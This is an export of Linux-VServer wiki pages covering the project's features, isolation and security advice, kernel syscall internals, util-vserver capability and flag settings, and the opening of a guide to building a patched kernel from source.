While the helper is designed to be flexible and handle different things in a similar way there are no other users of this helper at the moment. It might be replaced by an event interface in near future.<br />
<br />
== Features and Bonus Material ==<br />
<br />
=== Unification ===<br />
<br />
Because one of the central objectives for Linux-VServer is to reduce the overall resource usage wherever possible, a truly great idea was born to share files between different contexts without interfering with the usual administrative tasks or reducing the level of security created by the isolation.<br />
<br />
Files common to more than one context, which are not very likely going to change, like libraries or binaries, can be hard linked on a shared filesystem, thus reducing the amount of disk space, inode caches, and even memory mappings for shared libraries.<br />
<br />
The only drawback is that without additional measures, a malicious context would be able to deliberately or accidentally destroy or modify such shared files, which in turn would harm the other contexts.<br />
<br />
One step is to make the shared files immutable by using the Immutable File Attribute (and removing the Linux Capability required to modify this attribute). However an additional attribute is required to allow removal of such immutable shared files, to allow for updates of libraries or executables from inside a context.<br />
<br />
Such hard linked, immutable but unlink-able files belonging to more than one context are called unified and the process of finding common files and preparing them in this way is called Unification.<br />
<br />
The reason for doing this is reduced resource consumption, not simplified administration. While a typical Linux Server install will consume about 500MB of disk space, 10 unified servers will only need about 700MB and as a bonus use less memory for caching.<br />
<br />
=== Private Namespaces ===<br />
<br />
A recent addition to the Linux-VServer branch was the introduction of Private Namespaces. This uses the already existing Virtual Filesystem Layer of the Linux kernel to create a separate view of the filesystem for the processes belonging to a context.<br />
<br />
The major advantage over the shared namespace used by default is that any modifications to the namespace layout (like mounts) do not affect other contexts, not even the Host Context.<br />
<br />
Obviously the drawback of that approach is that entering such a Private Namespace isn't as trivial as changing the root directory, but with proper kernel support this will completely replace the chroot() in the future.<br />
<br />
=== The Linux-VServer Proc-FS ===<br />
<br />
A structured, dynamically generated subtree of the well-known Proc-FS - actually two of them - has been created to allow for inspecting the different values of Security and Network Contexts.<br />
<br />
<pre><br />
/proc/virtual<br />
.../info<br />
<br />
/proc/virtual/<pid><br />
.../info<br />
.../status<br />
.../sched<br />
.../cvirt<br />
.../cacct<br />
.../limit<br />
</pre><br />
<br />
=== Token Bucket Extensions ===<br />
<br />
While the basic idea of Linux-VServer is a peaceful coexistence of all contexts, sharing the common resources in a respectful way, it is sometimes useful to control the resource distribution for resource hungry processes.<br />
<br />
The basic principle of a Token Bucket is not very new. It is given here as an example for the Hard CPU Limit. The same principle also applies to scheduler priorities, network bandwidth limitation and resource control in general.<br />
<br />
The Hard CPU Limit uses this mechanism in the following way: consider a bucket of a certain size S which is filled with a specified amount of tokens R every interval T, until the bucket is "full" - excess tokens are spilled. At each timer tick, a running process consumes exactly one token from the bucket, unless the bucket is empty, in which case the process is put on a hold queue until the bucket has been refilled with a minimum M of tokens. The process is then rescheduled.<br />
<br />
A major advantage of a Token Bucket is that a certain amount of tokens can be accumulated in times of quiescence, which later can be used to burst when resources are required.<br />
<br />
Where a per-process Token Bucket would allow for a CPU resource limitation of a single process, a Context Token Bucket allows to control the CPU usage of all confined processes.<br />
<br />
Another approach, which is also implemented, is to use the current fill level of the bucket to adjust the process priority, thus reducing the priority of processes belonging to excessive contexts.<br />
<br />
=== Context Disk Limits ===<br />
<br />
This Feature requires the use of XID Tagged Files, and allows for independent Disk Limits for different contexts on a shared partition.<br />
The number of inodes and blocks for each filesystem is accounted, if an XID-Hash was added for the Context-Filesystem combo.<br />
<br />
Those values, including current usage, maximum and reserved space, will be shown for filesystem queries, creating the illusion that the shared filesystem has a different usage and size, for each context.<br />
<br />
=== Per-Context Quota ===<br />
<br />
Similar to the Context Disk Limits, Per-Context Quota uses separate quota hashes for different Contexts on a shared filesystem. This is not required to allow for Linux-VServer quota on separate partitions.<br />
<br />
=== The VRoot Proxy Device ===<br />
<br />
Quota operations (ioctls) require some access to the block device, which for security reasons is not available inside a VPS.<br />
<br />
=== Stealth ===<br />
<br />
For some applications, for example the preparation of a honey-pot or an especially realistic imitation of a real server for educational purposes, it can make sense to make the context indistinguishable from a real server.<br />
<br />
However, since other freely available alternatives like QEMU or UML are much better at this, and require much less effort, this is not a central issue in Linux-VServer development.<br />
<br />
== Linux-VServer Security ==<br />
<br />
Now that we know what the Linux-VServer framework provides and how some features work, let's have a word on security, because you should not rely on the framework to be secure per definition. Instead, you should exactly know what you are doing.<br />
<br />
=== Secure Capabilities ===<br />
<br />
Currently the following Linux Capabilities are considered secure for VPS use. If others are added, it will probably open some security hole.<br />
<br />
* CAP_CHOWN<br />
* CAP_DAC_OVERRIDE<br />
* CAP_DAC_READ_SEARCH<br />
* CAP_FOWNER<br />
* CAP_FSETID<br />
* CAP_KILL<br />
* CAP_SETGID<br />
* CAP_SETUID<br />
* CAP_NET_BIND_SERVICE<br />
* CAP_SYS_CHROOT<br />
* CAP_SYS_PTRACE<br />
* CAP_SYS_BOOT<br />
* CAP_SYS_TTY_CONFIG<br />
* CAP_LEASE<br />
<br />
CAP_NET_RAW for example is not considered secure although it is often used to allow the broken ping command to work, although there are better alternatives like the userspace ping command poink[U7] or the VXC_RAW_ICMP Context Capability.<br />
<br />
=== The Chroot Barrier ===<br />
<br />
Ensuring that the Barrier flag is set on the parent directory of each VPS is vital if you do not want VPS root to escape from the confinement and walk your Host's root filesystem.<br />
<br />
=== Secure Device Nodes ===<br />
<br />
The /dev directory of a VPS should not contain more than the following devices and the one directory for the unix pts tree.<br />
<br />
* c 1 7 full<br />
* c 1 3 null<br />
* c 5 2 ptmx<br />
* c 1 8 random<br />
* c 5 0 tty<br />
* c 1 9 urandom<br />
* c 1 5 zero<br />
* d pts<br />
<br />
Of course other device nodes like console, mem and kmem, even block and character devices can be added, but some expertise is required in order to ensure no security holes are opened.<br />
<br />
=== Secure Proc-FS Entries ===<br />
<br />
There has been no detailed evaluation of secure and unsecure entries in the proc filesystem, but there have been some incidents where unprotected (not protected via Linux Capabilities) writable proc entries caused mayhem.<br />
<br />
For example, /proc/sysrq-trigger is something which should not be accessible inside a VPS without a very good reason.<br />
<br />
== Field of Application ==<br />
<br />
The primary goal of this project is to create virtual servers sharing the same machine. A virtual server operates like a normal Linux server. It runs normal services such as telnet, mail servers, web servers, and SQL servers.<br />
<br />
=== Administrative Separation ===<br />
<br />
This allows a clever provider to sell something called Virtual Private Server, which uses less resources than other virtualization techniques, which in turn allows more units on a single machine.<br />
<br />
The list of providers doing so is relatively long, and so this is rightfully considered the main area of application.<br />
<br />
=== Service Separation ===<br />
<br />
Separating different or similar services which otherwise would interfere with each other, either because they are poorly designed or because they are simply incapable of peaceful coexistence for whatever reason, can be easily done with Linux-VServer.<br />
<br />
But even on the old-fashioned real server machines, putting some extremely exposed or untrusted, because unknown or proprietary, services into some kind of jail can improve maintainability and security a lot.<br />
<br />
=== Enhancing Security ===<br />
<br />
While it can be interesting to run several virtual servers in one box, there is one concept potentially more generally useful. Imagine a physical server running a single virtual server. The goal is isolate the main environment from any service, any network. You boot in the main environment, start very few services and then continue in the virtual server.<br />
<br />
The service in the main environment would be:<br />
<br />
* Unreachable from the network.<br />
* Able to log messages from the virtual server in a secure way. The virtual server would be unable to change/erase the logs.\ Even a cracked virtual server would not be able the edit the log.<br />
* Able to run intrusion detection facilities, potentially spying the state of the virtual server without being accessible or noticed.\ For example, tripwire could run there and it would be impossible to circumvent its operation or trick it.<br />
<br />
Another option is to put the firewall in a virtual server, and pull in the DMZ, containing each service in a separate VPS. On proper configuration, this setup can reduce the number of required machines drastically, without impacting performance.<br />
<br />
=== Easy Maintenance ===<br />
<br />
One key feature of a virtual server is the independence from the actual hardware. Most hardware issues are irrelevant for a virtual server installation.<br />
<br />
The main server acts as a host and takes care of all the details. The virtual server is just a client and ignores all the details. As such, the client can be moved to another physical server with very few manipulations.<br />
<br />
For example, to move the virtual server from one physical computer to another, it is sufficient to do the following:<br />
<br />
* shutdown the running server<br />
* copy it over to the other machine<br />
* copy the configuration<br />
* start the virtual server on the new machine<br />
<br />
No adjustments to user setup, password database or hardware configuration are required, as long as both machines are binary compatible.<br />
<br />
=== Fail-over Scenarios ===<br />
<br />
Pushing the limit a little further, replication technology could be used to keep an up-to-the-minute copy of the filesystem of a running Virtual Server. This would permit a very fast fail-over if the running server goes offline for whatever reason.<br />
<br />
All the known methods to accomplish this, starting with network replication via rsync, or drbd, via network devices, or shared disk arrays, to distributed filesystems, can be utilized to reduce the down-time and improve overall efficiency.<br />
<br />
=== For Testing ===<br />
<br />
Consider a software tool or package which should be built for several versions of a specific distribution (Mandrake 8.2, 9.0, 9.1, 9.2, 10.0) or even for different distributions.<br />
<br />
This is easily solved with Linux-VServer. Given plenty of disk space, the different distributions can be installed and running side by side, simplifying the task of switching from one to another.<br />
<br />
Of course this can be accomplished by chroot() alone, but with Linux-VServer it's a much more realistic simulation.<br />
<br />
== Performance and Stability ==<br />
<br />
''(work in progress)''<br />
<br />
=== Impact of Linux-VServer on the Host ===<br />
<br />
seems to be 0% ...<br />
<br />
=== Overhead inside a Context ===<br />
<br />
seems to be less than 2% ...<br />
<br />
=== Size of the Kernel Patch ===<br />
<br />
Comparison of the different patches ...<br />
<br />
{| class="wikitablenowrap"<br />
! patch<br />
! hunks<br />
! +<br />
! -<br />
|-<br />
| patch-2.4.24-vs1.00.diff<br />
| 178<br />
| 1112<br />
| 135 <br />
|-<br />
| patch-2.4.24-vs1.20.diff<br />
| 216<br />
| 2035<br />
| 178 <br />
|-<br />
| patch-2.4.24-vs1.26.diff<br />
| 225<br />
| 2118<br />
| 180 <br />
|-<br />
| patch-2.4.25-vs1.27.diff<br />
| 252<br />
| 2166<br />
| 201 <br />
|-<br />
| patch-2.4.26-vs1.28.diff<br />
| 254<br />
| 2183<br />
| 202 <br />
|-<br />
| patch-2.6.6-vs1.9.0.diff<br />
| 494<br />
| 5699<br />
| 303 <br />
|-<br />
| patch-2.6.6-vs1.9.1.diff<br />
| 497<br />
| 5878<br />
| 307 <br />
|-<br />
| patch-2.6.7-vs1.9.2.diff<br />
| 618<br />
| 6836<br />
| 348 <br />
|-<br />
| uml-patch-2.4.26-1.diff<br />
| 449<br />
| 36885<br />
| 48<br />
|}<br />
<br />
== Non Intel i386 Hardware ==<br />
<br />
Linux-VServer was designed to be mostly architecture agnostic, therefore only a small part, the syscall definition itself, is architecture specific. Nevertheless some architectures have private copies of basically architecture independent code for whatever reason, and therefore small modifications are often required.<br />
<br />
The following architectures are supported and some of them are even tested:<br />
<br />
* alpha<br />
* ia32 / ia64 / xbox<br />
* x86_64 (AMD64)<br />
* mips / mips64<br />
* hppa / hppa64<br />
* ppc / ppc64<br />
* sparc / sparc64<br />
* s390<br />
* uml<br />
<br />
Adding a new architecture is relatively simple although extensive testing is required to make sure that every feature is working as expected (and of course, the hardware ;).<br />
<br />
== Linux Kernel Intro ==<br />
<br />
While almost all of the described features reside in the Linux Kernel, nifty Userspace Tools are required to activate and control the new functionality.<br />
<br />
Those Userspace Tools in general communicate with the Linux Kernel via System Calls (or Syscall for short).<br />
This chapter will give a short overview how Linux Kernel and User Space is organized and how Syscalls, a simple method of communication between processes and kernel, work.<br />
<br />
=== Kernel and User Space ===<br />
<br />
In Linux and similar Operating Systems, User and Kernel Space is separated, and address space is divided into two parts. Kernel space is where the kernel code resides, and user space is where the user programs live. Of course, a given user program can't write to kernel memory or to another program's memory area.<br />
<br />
Unfortunately, this is also the case for kernel code. Kernel code can't write to user space either. What does this mean? Well, when a given hardware driver wants to write data bytes to a program in user memory, it can't do it directly, but rather it must use specific kernel functions instead. Also, when parameters are passed by address to a kernel function, the kernel function can not read the parameters directly. It must use other kernel functions to read each byte of the parameters.<br />
<br />
Of course, there are some helpers which do the transfer to and from user space.<br />
<br />
<pre><br />
copy_to_user(void *to, const void *from, long n);<br />
copy_from_user(void *to, const void *from, long n);<br />
</pre><br />
<br />
get_user() and put_user() Get or put the given byte, word, or long from or to user memory. This is a macro, and it relies on the type of the argument to determine the number of bytes to transfer.<br />
<br />
=== Linux Syscalls ===<br />
<br />
Most libc calls rely on system calls, which are the simplest kernel functions a user program can call.<br />
<br />
These system calls are implemented in the kernel itself or in loadable kernel modules, which are little chunks of dynamically link-able kernel code.<br />
<br />
Linux system calls are implemented through a multiplexor called with a given maskable interrupt. In Linux, this interrupt is int 0x80. When the 'int 0x80' instruction is executed, control is given to the kernel (or, more accurately, to the _system_call() function), and the actual demultiplexing process occurs.<br />
<br />
How does _system_call() work ?<br />
<br />
First, all registers are saved and the content of the %eax register is checked against the global system calls table, which enumerates all system calls and their addresses.<br />
<br />
This table can be accessed with the extern void *sys_call_table[] variable. A given number and memory address in this table corresponds to each system call.<br />
<br />
System call numbers can be found in /usr/include/sys/syscall.h.<br />
<br />
They are of the form SYS_systemcallname. If the system call is not implemented, the corresponding cell in the sys_call_table is 0, and an error is returned.<br />
<br />
Otherwise, the system call actually exists and the corresponding entry in the table is the memory address of the system call code.<br />
<br />
== Kernel Side Implementation ==<br />
<br />
While this chapter is mainly of interest to kernel developers it might be fun to take a small peek behind the curtain to get a glimpse how everything really works.<br />
<br />
=== The Syscall Command Switch ===<br />
<br />
For a long time Linux-VServer used a few different Syscalls to accomplish different aspects of the work, but very soon the number of required commands grew large, and the Syscalls started to have magic values, selecting the desired behavior.<br />
<br />
Not too long ago, a single syscall was reserved for Linux-VServer, and while the opinion on that might differ from developer to developer, it was generally considered a good decision not to have more than one syscall.<br />
<br />
The advantage of different Syscalls would be simpler handling of the Syscalls on different architectures; however, this hasn't been a problem so far, as the data passed to and from the kernel has strong typed fields conforming to the C99 types.<br />
<br />
Regardless, the availability of one system call required the creation of a multiplexor, which decides, based on some selector, what specific command is to be executed, and then passes on the remaining arguments to that command, which does the actual work.<br />
<br />
<pre><br />
extern asmlinkage long<br />
sys_vserver(uint32_t cmd, uint32_t id, void __user *data)<br />
</pre><br />
<br />
The Linux-VServer syscall is passed three arguments regardless of what actual command is specified: a command (cmd), a number (id), and a user-space data-structure of yet unknown size.<br />
<br />
To allow for some structure for debugging purposes and some kind of command versioning, the cmd is split into three parts: the lower 12 bit contain a version number, then 4 bits are reserved, the upper 16 bits are divided into 8 bit command and 6 bit category, again reserving 2 bits for the future.<br />
<br />
There are 64 Categories with up to 256 commands in each category, allowing for 4096 revisions of each command, which is far more than will ever be required.<br />
<br />
Here is an overview of the categories already defined, and their numerical value:<br />
<br />
<pre><br />
Syscall Matrix V2.6<br />
<br />
|VERSION|CREATE |MODIFY |MIGRATE|CONTROL|EXPERIM| |SPECIAL|SPECIAL|<br />
|STATS |DESTROY|ALTER |CHANGE |LIMIT |TEST | | | |<br />
|INFO |SETUP | |MOVE | | | | | |<br />
-------+-------+-------+-------+-------+-------+-------+ +-------+-------+<br />
SYSTEM |VERSION|VSETUP |VHOST | | | | |DEVICES| |<br />
HOST | 00| 01| 02| 03| 04| 05| | 06| 07|<br />
-------+-------+-------+-------+-------+-------+-------+ +-------+-------+<br />
CPU | |VPROC |PROCALT|PROCMIG|PROCTRL| | |SCHED. | |<br />
PROCESS| 08| 09| 10| 11| 12| 13| | 14| 15|<br />
-------+-------+-------+-------+-------+-------+-------+ +-------+-------+<br />
MEMORY | | | | | | | |SWAP | |<br />
| 16| 17| 18| 19| 20| 21| | 22| 23|<br />
-------+-------+-------+-------+-------+-------+-------+ +-------+-------+<br />
NETWORK| |VNET |NETALT |NETMIG |NETCTL | | |SERIAL | |<br />
| 24| 25| 26| 27| 28| 29| | 30| 31|<br />
-------+-------+-------+-------+-------+-------+-------+ +-------+-------+<br />
DISK | | | | | | | |INODE | |<br />
VFS | 32| 33| 34| 35| 36| 37| | 38| 39|<br />
-------+-------+-------+-------+-------+-------+-------+ +-------+-------+<br />
OTHER | | | | | | | |VINFO | |<br />
| 40| 41| 42| 43| 44| 45| | 46| 47|<br />
=======+=======+=======+=======+=======+=======+=======+ +=======+=======+<br />
SPECIAL| | | | |FLAGS | | | | |<br />
| 48| 49| 50| 51| 52| 53| | 54| 55|<br />
-------+-------+-------+-------+-------+-------+-------+ +-------+-------+<br />
SPECIAL| | | | |RLIMIT |SYSCALL| | |COMPAT |<br />
| 56| 57| 58| 59| 60|TEST 61| | 62| 63|<br />
-------+-------+-------+-------+-------+-------+-------+ +-------+-------+<br />
</pre><br />
<br />
The definition of those Commands is simplified by some macros, so for example the commands to get and set the Context Flags are defined like this:<br />
<br />
<pre><br />
#define VCMD_get_cflags VC_CMD(FLAGS, 1, 0)<br />
#define VCMD_set_cflags VC_CMD(FLAGS, 2, 0)<br />
<br />
extern int vc_get_cflags(uint32_t, void __user *);<br />
extern int vc_set_cflags(uint32_t, void __user *);<br />
</pre><br />
<br />
Note that the command itself is not passed to the actual command implementation, only the id and the pointer to user-space data.<br />
<br />
=== Utilized Data Structures ===<br />
<br />
There are many different data structures used by different parts of the implementation; while only a few examples are given here, all utilized structures can be found in the source.<br />
<br />
==== The Context Data Structure ====<br />
<br />
The Context Data Structure consists of a few fields required to manage the contexts, and handle context destruction, as well as future hierarchical contexts.<br />
<br />
Logically separated sections of that structure, like for the scheduler or the context limits are defined in separate structures, and incorporated into the main one.<br />
<br />
<pre><br />
struct vx_info {<br />
struct list_head vx_list; /* linked list of contexts */<br />
xid_t vx_id; /* context id */<br />
atomic_t vx_refcount; /* refcount */<br />
struct vx_info *vx_parent; /* parent context */<br />
<br />
struct namespace *vx_namespace; /* private namespace */<br />
struct fs_struct *vx_fs; /* private namespace fs */<br />
uint64_t vx_flags; /* context flags */<br />
uint64_t vx_bcaps; /* bounding caps (system) */<br />
uint64_t vx_ccaps; /* context caps (vserver) */<br />
<br />
pid_t vx_initpid; /* PID of fake init process */<br />
<br />
struct _vx_limit limit; /* vserver limits */<br />
struct _vx_sched sched; /* vserver scheduler */<br />
struct _vx_cvirt cvirt; /* virtual/bias stuff */<br />
struct _vx_cacct cacct; /* context accounting */<br />
<br />
char vx_name[65]; /* vserver name */<br />
};<br />
</pre><br />
<br />
Here as example the Scheduler Substructure:<br />
<pre><br />
struct _vx_sched {<br />
spinlock_t tokens_lock; /* lock for this structure */<br />
<br />
int fill_rate; /* Fill rate: add X tokens ... */<br />
int interval; /* Divisor: ... each Y jiffies */<br />
atomic_t tokens; /* current number of tokens */<br />
int tokens_min; /* Limit: minimum for unhold */<br />
int tokens_max; /* Limit: no more than N tokens */<br />
uint32_t jiffies; /* bias: integral multiple of Y */<br />
<br />
uint64_t ticks; /* token tick events */<br />
cpumask_t cpus_allowed; /* cpu mask for context */<br />
};<br />
</pre><br />
<br />
The main idea behind this separation is that each substructure belongs to a logically distinct part of the implementation which provides an init and cleanup function for this structure, thus simplifying maintainability and readability of those structures.<br />
<br />
==== The Scheduler Command Data ====<br />
<br />
As an example for the data structure used to control a specific part of the context from user-space, here is a scheduler command and the utilized data structure to set the properties:<br />
<br />
<pre><br />
#define VCMD_set_sched VC_CMD(SCHED, 1, 2)<br />
<br />
struct vcmd_set_sched_v2 {<br />
int32_t fill_rate; /* Fill rate: add X tokens ... */<br />
int32_t interval; /* Divisor: ... each Y jiffies */<br />
int32_t tokens; /* current number of tokens */<br />
int32_t tokens_min; /* Limit: minimum for unhold */<br />
int32_t tokens_max; /* Limit: no more than N tokens */<br />
uint64_t cpu_mask; /* Mask: allowed cpus */<br />
};<br />
</pre><br />
<br />
==== Example Accounting: Sockets ====<br />
<br />
Basically all the accounting and limit stuff are defined as macros or inline functions capable of handling the different resources, hiding the underlying implementation wherever possible.<br />
<br />
<pre><br />
#define vx_acc_sock(v,f,p,s) \<br />
__vx_acc_sock((v), (f), (p), (s), __FILE__, __LINE__)<br />
<br />
static inline void __vx_acc_sock(struct vx_info *vxi,<br />
int family, int pos, int size, char *file, int line)<br />
{<br />
if (vxi) {<br />
int type = vx_sock_type(family);<br />
<br />
atomic_inc(&vxi->cacct.sock[type][pos].count);<br />
atomic_add(size, &vxi->cacct.sock[type][pos].total);<br />
}<br />
}<br />
<br />
#define vx_sock_recv(sk,s) \<br />
vx_acc_sock((sk)->sk_vx_info, (sk)->sk_family, 0, (s))<br />
#define vx_sock_send(sk,s) \<br />
vx_acc_sock((sk)->sk_vx_info, (sk)->sk_family, 1, (s))<br />
#define vx_sock_fail(sk,s) \<br />
vx_acc_sock((sk)->sk_vx_info, (sk)->sk_family, 2, (s))<br />
</pre><br />
<br />
And this general definition is then used where appropriate, for example in the __sock_sendmsg() function like this:<br />
<br />
<pre><br />
len = sock->ops->sendmsg(iocb, sock, msg, size);<br />
if (sock->sk) {<br />
if (len == size)<br />
vx_sock_send(sock->sk, size);<br />
else<br />
vx_sock_fail(sock->sk, size);<br />
}<br />
</pre><br />
<br />
==== Example Limits: Virtual Memory ====<br />
<br />
<pre><br />
#define vx_pages_avail(m, p, r) \<br />
__vx_pages_avail((m)->mm_vx_info, (r), (p), __FILE__, __LINE__)<br />
<br />
static inline int __vx_pages_avail(struct vx_info *vxi,<br />
int res, int pages, char *file, int line)<br />
{<br />
if (!vxi)<br />
return 1;<br />
if (vxi->limit.rlim[res] == RLIM_INFINITY)<br />
return 1;<br />
if (atomic_read(&vxi->limit.res[res]) +<br />
pages < vxi->limit.rlim[res])<br />
return 1;<br />
return 0;<br />
}<br />
<br />
#define vx_vmpages_avail(m,p) vx_pages_avail(m, p, RLIMIT_AS)<br />
#define vx_vmlocked_avail(m,p) vx_pages_avail(m, p, RLIMIT_MEMLOCK)<br />
#define vx_rsspages_avail(m,p) vx_pages_avail(m, p, RLIMIT_RSS)<br />
</pre><br />
<br />
And again the test against those limits at certain places, for example here in copy_process()<br />
<br />
<pre><br />
/* check vserver memory */<br />
if (p->mm && !(clone_flags & CLONE_VM)) {<br />
if (vx_vmpages_avail(p->mm, p->mm->total_vm))<br />
vx_pages_add(p->mm->mm_vx_info,<br />
RLIMIT_AS, p->mm->total_vm);<br />
else<br />
goto bad_fork_free;<br />
}<br />
</pre><br />
<br />
==== Example Virtualization: Uptime ====<br />
<br />
<pre><br />
void vx_vsi_uptime(struct timespec *uptime)<br />
{<br />
struct vx_info *vxi = current->vx_info;<br />
<br />
set_normalized_timespec(uptime,<br />
uptime->tv_sec - vxi->cvirt.bias_tp.tv_sec,<br />
uptime->tv_nsec - vxi->cvirt.bias_tp.tv_nsec);<br />
return;<br />
}<br />
<br />
if (vx_flags(VXF_VIRT_UPTIME, 0))<br />
vx_vsi_uptime(&uptime, &idle);<br />
</pre><br />
<br />
== Future Direction</div>Daniel hozachttp://svn.linux-vserver.org/util-vserver:Capabilities_and_Flagsutil-vserver:Capabilities and Flags2008-08-17T02:05:11Z<p>Daniel hozac: Reverted edits by 220.164.186.105 (Talk); changed back to last version by Daniel hozac</p>
<hr />
<div>This page discusses how to set capabilities and flags for a util-vserver guest. Also check http://www.nongnu.org/util-vserver/doc/conf/configuration.html for additional information.<br />
A couple of general rules applies to all of the files described on this page:<br />
* The filenames are all relative to the guest's configuration directory, which typically is <code>/etc/vservers/<em><guest></em></code> but by default <code>/usr/local/etc/vservers/<em><guest></em></code> when built from source.<br />
* One capability/flag per line<br />
* To remove something set by default, prefix it with ~, for instance:<br />
echo ~SET_UTSNAME >> ccapabilities<br />
* Comments can be added with #:<br />
echo \# Disable utsname configuration >> ccapabilities<br />
* To set a specific bit which does not yet have a name in util-vserver, you can use the following notation to set bit 6:<br />
echo ^6 >> ncapabilities<br />
<br />
=== Setting context capabilities (ccaps) ===<br />
* Add the capabilities to a file named <code>ccapabilities</code>:<br />
echo SYSLOG >> ccapabilities<br />
* The default ccaps are:<br />
SET_UTSNAME<br />
RAW_ICMP<br />
<br />
=== Setting context flags (cflags) ===<br />
* Add the flags to a file named <code>flags</code>:<br />
echo VIRT_MEM >> flags<br />
* The default cflags are (in addition to the defaults set by the kernel):<br />
HIDE_NETIF<br />
<br />
=== Setting network flags (nflags) ===<br />
* Add the flags to a file named <code>nflags</code>:<br />
echo HIDE_NETIF >> nflags<br />
* The default nflags are:<br />
HIDE_NETIF<br />
<br />
=== Setting POSIX capabilities (bcaps) ===<br />
* Add the capabilities to a file named <code>bcapabilities</code>:<br />
echo CHOWN >> bcapabilities<br />
* The default bcaps are:<br />
CHOWN<br />
DAC_OVERRIDE<br />
DAC_READ_SEARCH<br />
FOWNER<br />
FSETID<br />
KILL<br />
SETGID<br />
SETUID<br />
NET_BIND_SERVICE<br />
SYS_CHROOT<br />
SYS_PTRACE<br />
SYS_BOOT<br />
SYS_TTY_CONFIG<br />
LEASE<br />
AUDIT_WRITE<br />
<br />
=== Setting network capabilities (ncaps) ===<br />
* Add the capabilities to a file named <code>ncapabilities</code>:<br />
echo ^12 >> ncapabilities<br />
* There are no default ncaps.</div>Daniel hozachttp://svn.linux-vserver.org/Installation_on_Linux_2.6Installation on Linux 2.62008-08-11T14:12:02Z<p>Daniel hozac: install-distribution is required</p>
<hr />
<div>This guide will explain how to install a Linux-VServer kernel and util-vserver manually from source. It is assumed that you have basic knowledge about building a custom kernel, i.e. that you know which stuff to turn on in the kernel configuration. Of course some Linux-VServer specific options are explained here.<br />
<br />
== Manual Kernel Compilation ==<br />
<br />
You might ask yourself, why should I build a custom kernel? Manually configuring a kernel is often seen as the most difficult procedure a Linux user ever has to perform. Nothing is less true -- after configuring a couple of kernels you don't even remember that it was difficult ;)<br />
<br />
However, one thing is true: you must know your system when you start configuring a kernel manually. Nevertheless there are good reasons to build your kernel manually:<br />
<br />
* Your distribution does not have a prebuilt Linux-VServer kernel<br />
* Your distribution does not have the latest and greatest<br />
* You don't want to install bloated prebuilt kernels<br />
* You want a monolithic kernel and your distribution uses modules<br />
* You can tell everyone that you built your kernels manually ;)<br />
<br />
If you still intend to built your own kernel, read on. Otherwise have a look at our [[Documentation]] section for how to install a prebuilt Linux-VServer kernel for your distribution.<br />
<br />
=== Getting the Sources ===<br />
<br />
You'll need the vanilla kernel sources (i.e. those from [http://www.kernel.org kernel.org]) and (of course) a Linux-VServer patch for the kernel version you intend to use. You can find links to both files in our [[Downloads]] section.<br />
<br />
In this document we will use Linux 2.6.22.19 with Linux-VServer 2.2.0.7.<br />
<br />
First, you have to create a directory for the sources, if you already have one, feel free to skip this step and/or adjust the paths to your needs.<br />
<br />
<pre><br />
# Create a directory for our sources<br />
mkdir ~/src<br />
<br />
# Switch to that directory<br />
cd ~/src<br />
</pre><br />
<br />
Now that we have a place to store our sources, we need to fetch them. We start with the vanilla sources.<br />
<br />
<pre><br />
# Get Linux 2.6.22.19 sources<br />
wget http://www.kernel.org/pub/linux/kernel/v2.6/linux-2.6.22.19.tar.bz2<br />
<br />
# Extract them<br />
tar xjf linux-2.6.22.19.tar.bz2<br />
</pre><br />
<br />
Now it is time to get the Linux-VServer patch and apply it to the sources. While we're at it, I tell you a nice trick I learned from Bertl, that allows you to keep a lot of source trees on your disk without using up lots of disk space (and this also speeds up 'diff' a lot, which is really nice if you do kernel-hacking). What we do is creating a hard-linked copy of our sources and patch this copy with the Linux-VServer patch. That way, only the patched files use additional disk space (and because hard-linked files are equal by definition, diff doesn't need to compare them).<br />
<br />
<pre><br />
# Get the Linux-VServer 2.2.0.7 patch<br />
wget http://ftp.linux-vserver.org/pub/kernel/vs2.2/patch-2.6.22.19-vs2.2.0.7.diff<br />
<br />
# Create a hard-linked copy of the vanilla sources, this will get the Linux-VServer patch applied<br />
cp -la linux-2.6.22.19 linux-2.6.22.19-vs2.2.0.7<br />
<br />
# Switch to that new directory<br />
cd linux-2.6.22.19-vs2.2.0.7<br />
<br />
# Patch the sources<br />
cat ../patch-2.6.22.19-vs2.2.0.7.diff | patch -p1<br />
</pre><br />
<br />
Now you have two sources, the vanilla sources for 2.6.22.19 and the Linux-VServer sources for 2.6.22.19-vs2.2.0.7. You might ask "Why do I need two source trees at all? I only want one kernel!" and that's a good question.<br />
<br />
Here's one answer: Updates! If a new vanilla kernel is released, you can just download the patch from your version to the new version. Otherwise, if you would have applied the patch to your one and only vanilla source tree, you would not be able to do this. The same applies for new Linux-VServer releases. That is, if a new Linux-VServer patch is available, you can simply create another hardlinked copy of your vanilla sources and apply the new patch using the copy. This can really save you time (and bandwidth), since you can keep everything you might need, without wasting a lot of disk space.<br />
<br />
But be aware that this needs some discipline when hacking the source. Because hard-linked files share the same data on the disk, you need to make sure that your editor does ''The Right Thing'', otherwise you might mess up all your source trees...<br />
<br />
=== Configuring the Kernel ===<br />
<br />
Under Ubuntu (on 8.04 Hardy x86_64 tested) the configuration files of the existing kernel can be found in the /boot directory with a name similar to: config-'uname -r'-general. This file can be used if copied to the source dir of the kernel as a starting point to configure the rest of the kernel. The filename must be .config<br />
Now go to your kernel source directory and execute make menuconfig. This will fire up an ncurses-based configuration menu. (Of course you can use whatever configuration method you like, there is a text based one (make config), a GTK based one (make gconfig), and even a QT based one (make xconfig))<br />
<br />
<pre><br />
# Configure the kernel using a ncurses based menu<br />
make menuconfig<br />
</pre><br />
<br />
It is out of the scope of this guide to explain all the available configuration options. If you feel unsure about certain options either leave it with the default value, or consult your distribution manuals for help.<br />
<br />
Nevertheless, we will explain the Linux-VServer configuration options, of course. Depending on your version your configuration options may look similar to the following:<br />
<br />
<pre><br />
Linux VServer ---><br />
[*] Enable Legacy Kernel API (<2.3)<br />
[ ] Show a Legacy Version ID<br />
[*] Enable dynamic context IDs (2.1 - 2.2)<br />
[ ] Disable Legacy Networking Kernel API (2.0.x only)<br />
[*] Enable Legacy Networking Kernel API (2.1 - 2.2)<br />
[*] Automatically Assign Loopback IP (2.3+)<br />
[*] Automatic Single IP Special Casing (2.3+)<br />
[ ] Remap Source IP Address (<2.3)<br />
[*] Enable COW Immutable Link Breaking (2.1+)<br />
[ ] Enable Virtualized Guest Time (2.1+)<br />
[ ] Enable Guest Device Mapping (2.1, 2.3)<br />
[*] Enable Proc Security<br />
[ ] Enable Hard CPU Limits<br />
[ ] Avoid idle CPUs by skipping Time (2.1+)<br />
[ ] Limit the IDLE task<br />
Persistent Inode Tagging (UID24/GID24) ---><br />
[ ] Tag NFSD User Auth and Files<br />
